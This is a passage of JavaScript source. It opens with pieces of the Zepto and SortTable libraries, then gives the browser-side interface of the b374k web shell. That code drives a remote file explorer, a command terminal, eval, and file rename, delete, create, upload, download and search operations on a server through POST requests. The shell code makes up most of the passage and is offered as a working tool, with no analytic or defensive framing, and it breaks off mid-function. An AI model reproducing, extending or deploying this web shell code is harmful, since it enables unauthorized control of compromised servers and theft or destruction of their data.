d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)


/**
*
* SortTable
* version 2
* 7th April 2007
* Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
*
**/
var h=!0,j=!1;
sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/sortable/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/sortbottom/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/sorttable_nosort/)){(mtch=headrow[b].className.match(/sorttable_([a-z0-9]+)/))&&
(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/sorttable_sorted/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",
sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/sorttable_sorted_reverse/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,
function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=
"&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=
sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[$]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=
a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=
sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?
-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&
(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);
window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});
Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};

var loading_count = 0;
var running = false;
var defaultTab = 'explorer';
var currentTab = $('#'+defaultTab);
var tabScroll = new Object;
var onDrag = false;
var onScroll = false;
var scrollDelta = 1;
var scrollCounter = 0;
var scrollSpeed = 60;
var scrollTimer = '';
var dragX = '';
var dragY = '';
var dragDeltaX = '';
var dragDeltaY = '';
var editSuccess = '';
var terminalHistory = new Array();
var terminalHistoryPos = 0;
var evalSupported = "";
var evalReady = false;
var resizeTimer = '';
var portableWidth = 700;
var portableMode = null;

Zepto(function($){
	if(init_shell){
		var now = new Date();
		output("started @ "+ now.toGMTString());
		output("cwd : "+get_cwd());
		output("module : "+module_to_load);

		show_tab();
		xpl_bind();
		eval_init();
		
		window_resize();
		
		xpl_update_status();
		
		$(window).on('resize', function(e){
			clearTimeout(resizeTimer);
			resizeTimer = setTimeout("window_resize()", 1000);
		});

		$('.menuitem').on('click', function(e){
			selectedTab = $(this).attr('href').substr(2);
			show_tab(selectedTab);
		});

		$('#logout').on('click', function(e){
			var cookie = document.cookie.split(';');
			for(var i=0; i<cookie.length; i++){
				var entries = cookie[i], entry = entries.split("="), name = entry[0];
				document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
			}
			localStorage.clear();
			location.href = targeturl;
		});

		$('#totop').on('click', function(e){
			$(window).scrollTop(0);
		});
		$('#totop').on('mouseover', function(e){
			onScroll = true;
			clearTimeout(scrollTimer);
			start_scroll('top');
		});
		$('#totop').on('mouseout', function(e){
			onScroll = false;
			scrollCounter = 0;
		});
		$('#tobottom').on('click', function(e){
			$(window).scrollTop($(document).height()-$(window).height());
		});
		$('#tobottom').on('mouseover', function(e){
			onScroll = true;
			clearTimeout(scrollTimer);
			start_scroll('bottom');
		});
		$('#tobottom').on('mouseout', function(e){
			onScroll = false;
			scrollCounter = 0;
		});
		$('#basicInfo').on('mouseenter', function(e){
			$('#toggleBasicInfo').show();
		});
		$('#basicInfo').on('mouseleave', function(e){
			$('#toggleBasicInfo').hide();
		});
		$('#toggleBasicInfo').on('click', function(e){
			$('#basicInfo').hide();
			$('#showinfo').show();
			$('#toggleBasicInfo').hide();
			localStorage.setItem('infoBarShown', 'hidden');
		});
		$('#showinfo').on('click', function(e){
			$('#basicInfo').show();
			$('#showinfo').hide();
			localStorage.setItem('infoBarShown', 'shown');
		});
		
		if((infoBarShown = localStorage.getItem('infoBarShown'))){
			if(infoBarShown=='shown'){
				$('#basicInfo').show();
				$('#showinfo').hide();
			}
			else{
				$('#basicInfo').hide();
				$('#showinfo').show();
				$('#toggleBasicInfo').hide();
			}
		}
		else{
			info_refresh();
		}

		if(history.pushState){
			window.onpopstate = function(event) { refresh_tab(); };
		}
		else{
			window.historyEvent = function(event) {	refresh_tab(); };
		}
	}
});

function output(str){
	console.log('b374k> '+str);
}

function window_resize(){
	bodyWidth = $('body').width();
	if(bodyWidth<=portableWidth){
		layout_portable();
	}
	else{
		layout_normal();
	}
}

function layout_portable(){
	nav = $('#nav');
	menu = $('#menu');
	headerNav = $('#headerNav');
	content = $('#content');

	//nav.hide();
	nav.prependTo('#content');
	nav.css('padding','5px 8px');
	nav.css('margin-top', '8px');
	nav.css('display','block');
	nav.addClass('border');
	
	menu.children().css('width', '100%');
	menu.hide();
	$('#menuButton').remove();	
	headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");
	menu.attr('onclick', "\$('#menu').hide();");
	
	$('#xplTable tr>:nth-child(4)').hide();
	$('#xplTable tr>:nth-child(5)').hide();
	if(!win){
		$('#xplTable tr>:nth-child(6)').hide();
	}
	
	tblfoot = $('#xplTable tfoot td:last-child');
	if(tblfoot[0]) tblfoot[0].colSpan = 1;
	if(tblfoot[1]) tblfoot[1].colSpan = 2;
	
	
	$('.box').css('width', '100%');
	$('.box').css('height', '100%');
	$('.box').css('left', '0px');
	$('.box').css('top', '0px');
		
	paddingTop = $('#header').height();
	content.css('padding-top', paddingTop+'px');
	
	portableMode = true;
}

function layout_normal(){	
	nav = $('#nav');
	menu = $('#menu');	
	content = $('#content');

	nav.insertAfter('#b374k');
	nav.css('padding','0');
	nav.css('margin-top', '0');
	nav.css('display','inline');
	nav.removeClass('border');
	
	menu.children().css('width', 'auto');
	menu.show();
	$('#menuButton').remove();
	menu.attr('onclick', "");
	
	$('#xplTable tr>:nth-child(4)').show();
	$('#xplTable tr>:nth-child(5)').show();
	if(!win){
		$('#xplTable tr>:nth-child(6)').show();
		colspan = 4;
	}
	else colspan = 3;
	
	tblfoot = $('#xplTable tfoot td:last-child');
	if(tblfoot[0]) tblfoot[0].colSpan = colspan;
	if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;

	paddingTop = $('#header').height();
	content.css('padding-top', paddingTop+'px');
	
	portableMode = false;
}

function start_scroll(str){
	if(str=='top'){
		to = $(window).scrollTop() - scrollCounter;
		scrollCounter = scrollDelta + scrollCounter;
		if(to<=0){
			to = 0;
			onScroll = false;
		}
		else if(onScroll){
			scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
			$(window).scrollTop(to);
		}
	}
	else if(str=='bottom'){
		to = $(window).scrollTop() + scrollCounter;
		scrollCounter = scrollDelta + scrollCounter;
		bottom = $(document).height()-$(window).height();
		if(to>=bottom){
			to = bottom;
			onScroll = false;
		}
		else if(onScroll){
			scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
			$(window).scrollTop(to);
		}
	}
}

function get_cwd(){
	return decodeURIComponent(get_cookie('cwd'));
}

function fix_tabchar(el, e){
	if(e.keyCode==9){
		e.preventDefault();
		var s = el.selectionStart;
		el.value = el.value.substring(0,el.selectionStart) + "	" + el.value.substring(el.selectionEnd);
		el.selectionEnd = s+1;
	}
}

function get_cookie(key){
	var res;
	return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
}

function set_cookie(key, value){
	document.cookie = key + '=' + encodeURIComponent(value);
}

function html_safe(str){
	if(typeof(str) == "string"){
		str = str.replace(/&/g, "&amp;");
		str = str.replace(/"/g, "&quot;");
		str = str.replace(/'/g, "&#039;");
		str = str.replace(/</g, "&lt;");
		str = str.replace(/>/g, "&gt;");
	}
	return str;
}

function ucfirst(str){
	return str.charAt(0).toUpperCase() + str.slice(1);
}

function time(){
	var d = new Date();
	return d.getTime();
}

function send_post(targetdata, callback, loading){
	if(loading==null) loading_start();
	$.ajax({
		url: targeturl,
		type: 'POST',
		data: targetdata,
		success: function(res){
			callback(res);
			if(loading==null) loading_stop();
		},
		error: function(){ if(loading==null) loading_stop(); }
	});
}

function loading_start(){
	if(!running){
		$('#overlay').show();
		running = true;
		loading_loop();
	}
}

function loading_loop(){
	if(running){
		img = $('#loading');
		img.css('transform', 'rotate('+loading_count+'deg)');
		img.css('-ms-transform', 'rotate('+loading_count+'deg)');
		img.css('-webkit-transform', 'rotate('+loading_count+'deg)');

		loading_count+=7;
		if(loading_count>360) loading_count = 0;
		if(running) setTimeout("loading_loop()",20);
	}
}

function loading_stop(){
	if(running){
		img = $('#loading');
		img.css('transform', 'rotate(0deg)');
		img.css('-ms-transform', 'rotate(0deg)');
		img.css('-webkit-transform', 'rotate(0deg)');

		$('#overlay').hide();
		running = false;
	}
}

function show_tab(id){
	if(!id){
		if(location.hash!='') id = location.hash.substr(2);
		else id = defaultTab;
	}
	refresh_tab(id);
}

function refresh_tab(id){
	if(!id){
		if(location.hash!='') id = location.hash.substr(2);
		else id = defaultTab;
	}
	$('.menuitemSelected').removeClass("menuitemSelected");
	$('#menu'+id).addClass("menuitemSelected");

	tabScroll[currentTab.attr('id')] = $(window).scrollTop();
	currentTab.hide();
	currentTab = $('#'+id);
	currentTab.show();
	window[id]();
	if(tabScroll[id]){
		$(window).scrollTop(tabScroll[id]);
	}
	hide_box();
}

function trap_enter(e, callback){
	if(e.keyCode==13){
		if(callback!=null) window[callback]();
	}
}

function show_box(title, content){
	onDrag = false;
	hide_box();
	box = "<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";
	$('#content').append(box);

	box_width = $('.box').width();
	body_width = $('body').width();

	box_height = $('.box').height();
	body_height = $('body').height();

	x = (body_width - box_width)/2;
	y = (body_height - box_height)/2;
	if(x<0 || portableMode) x = 0;
	if(y<0 || portableMode) y = 0;
	if(portableMode){
		$('.box').css('width', '100%');
		$('.box').css('height', '100%');	
	}

	$('.box').css('left', x+'px');
	$('.box').css('top', y+'px');

	$('.boxclose').on('click', function(e){
		hide_box();
	});
	
	if(!portableMode){
		$('.boxtitle').on('click', function(e){
			if(!onDrag){
				dragDeltaX = e.pageX - parseInt($('.box').css('left'));
				dragDeltaY = e.pageY - parseInt($('.box').css('top'));
				drag_start();
			}
			else drag_stop();
		});
	}

	$(document).off('keyup');
	$(document).on('keyup', function(e){
		if(e.keyCode == 27) hide_box();
	});

	if($('.box input')[0]) $('.box input')[0].focus();
}

function hide_box(){
	$(document).off('keyup');
	$('.box').remove();
}

function drag_start(){
	if(!onDrag){
		onDrag = true;
		$('body').off('mousemove');
		$('body').on('mousemove', function(e){
			dragX = e.pageX;
			dragY = e.pageY;
		});
		setTimeout('drag_loop()',50);
	}
}

function drag_loop(){
	if(onDrag){
		x = dragX - dragDeltaX;
		y = dragY - dragDeltaY;
		if(y<0)y=0;
		$('.box').css('left', x+'px');
		$('.box').css('top', y+'px');
		setTimeout('drag_loop()',50);
	}
}

function drag_stop(){
	onDrag = false;
	$('body').off('mousemove');
}

function get_all_cbox_selected(id, callback){
	var buffer = new Array();
	$('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
		if((href = window[callback]($(this)))){
			buffer[i] = href;
		}
	});
	return buffer;
}


function cbox_bind(id, callback){
	$('#'+id).find('.cBox').off('click');
	$('#'+id).find('.cBoxAll').off('click');

	$('#'+id).find('.cBox').on('click', function(e){
		if($(this).hasClass('cBoxSelected')){
			$(this).removeClass('cBoxSelected');
		}
		else $(this).addClass('cBoxSelected');
		if(callback!=null) window[callback]();
	});
	$('#'+id).find('.cBoxAll').on('click', function(e){
		if($(this).hasClass('cBoxSelected')){
			$('#'+id).find('.cBox').removeClass('cBoxSelected');
			$('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
		}
		else{
			$('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
			$('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
		}
		if(callback!=null) window[callback]();
	});
}


function action(path, type){
	title = "Action";
	content = '';
	if(type=='file') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";
	if(type=='dir') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";
	if(type=='dot') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";
	show_box(title, content);
	xpl_bind();
}

function navigate(path, showfiles){
	if(showfiles==null) showfiles = 'true';
	send_post({ cd:path, showfiles:showfiles }, function(res){
		if(res!='error'){
			splits = res.split('{[|b374k|]}');
			if(splits.length==3){
				$('#nav').html(splits[1]);
				if(showfiles=='true'){
					$('#explorer').html('');
					$('#explorer').html(splits[2]);
					sorttable.k($('#xplTable').get(0));
				}
				$('#terminalCwd').html(html_safe(get_cwd())+'&gt;');
				xpl_bind();
				window_resize();
			}
		}
	});
}

function view(path, type, preserveTimestamp){
	if(preserveTimestamp==null) preserveTimestamp = 'true';
	send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){
		if(res!='error'){
			$('#explorer').html('');
			$('#explorer').html(res);
			xpl_bind();
			show_tab('explorer');
			if((type=='edit')||(type=='hex')){
				editResult = (type=='edit')? $('#editResult'):$('#editHexResult');
				if(editSuccess=='success'){
					editResult.html(' ( File saved )');
				}
				else if(editSuccess=='error'){
					editResult.html(' ( Failed to save file )');
				}
				editSuccess = '';
			}
			cbox_bind('editTbl');
		}
	});
}

function view_entry(el){
	if($(el).attr('data-path')!=''){
		entry = $(el).attr('data-path');
		$('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");
		$('#form').submit();
		$('#form').html('');
	}
}

function ren(path){
	title = "Rename";
	content = "<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='" +path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";
	show_box(title, content);
}

function ren_go(){
	renameFile = $('.renameFile').val();
	renameFileTo = $('.renameFileTo').val();
	send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
		if(res!='error'){
			navigate(res);
			$('.boxresult').html('Operation(s) succeeded');
			$('.renameFile').val($('.renameFileTo').val());
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function newfolder(path){
	title = "New Folder";
	path = path + 'newfolder-' + time();
	content = "<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";
	show_box(title, content);
}

function newfolder_go(){
	newFolder = $('.newFolder').val();
	send_post({newFolder:newFolder}, function(res){
		if(res!='error'){
			navigate(res);
			$('.boxresult').html('Operation(s) succeeded');
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function newfile(path){
	title = "New File";
	path = path + 'newfile-' + time();
	content = "<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";
	show_box(title, content);
}

function newfile_go(){
	newFile = $('.newFile').val();
	send_post({newFile:newFile}, function(res){
		if(res!='error'){
			view(newFile, 'edit');
			$('.boxresult').html('Operation(s) succeeded');
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function viewfileorfolder(){
	title = "View File / Folder";
	content = "<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";
	show_box(title, content);
}

function viewfileorfolder_go(){
	entry = $('.viewFileorFolder').val();
	send_post({viewFileorFolder:entry}, function(res){
		if(res!='error'){
			if(res=='file'){
				view(entry, 'auto');
				show_tab('explorer');
			}
			else if(res=='folder'){
				navigate(entry);
				show_tab('explorer');
			}
		}
	});
}

function del(path){
	title = "Delete";
	content = "<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";
	show_box(title, content);
}

function delete_go(){
	path = $('.delete').val();
	send_post({delete:path}, function(res){
		if(res!='error'){
			navigate(res);
			$('.boxresult').html('Operation(s) succeeded');
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function find(path){
	findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
	findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
	$('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
	cbox_bind('xplUpload');
}

function find_go_file(){
	find_go('file');
}

function find_go_folder(){
	find_go('folder');
}

function find_go(findType){
	findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
	findResult = (findType=='file')? $('.findfileResult'):$('.findResult');

	findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val();
	findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
	findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();

	findContent = (findType=='file')? $('.findfileContains').val():"";
	findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
	findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";

	findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
	findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
	findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();

	send_post(
		{
			findType:findType,
			findPath:findPath,
			findName:findName,
			findNameRegex:findNameRegex,
			findNameInsensitive:findNameInsensitive,
			findContent:findContent,
			findContentRegex:findContentRegex,
			findContentInsensitive:findContentInsensitive,
			findReadable:findReadable,
			findWritable:findWritable,
			findExecutable:findExecutable
		},
		function(res){
			if(res!='error'){
				findResult.html(res);
			}
		}
	);
}

function ul_go_comp(){
	ul_go('comp');
}

function ul_go_url(){
	ul_go('url');
}

function ul(path){
	ulcomputer = "<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";
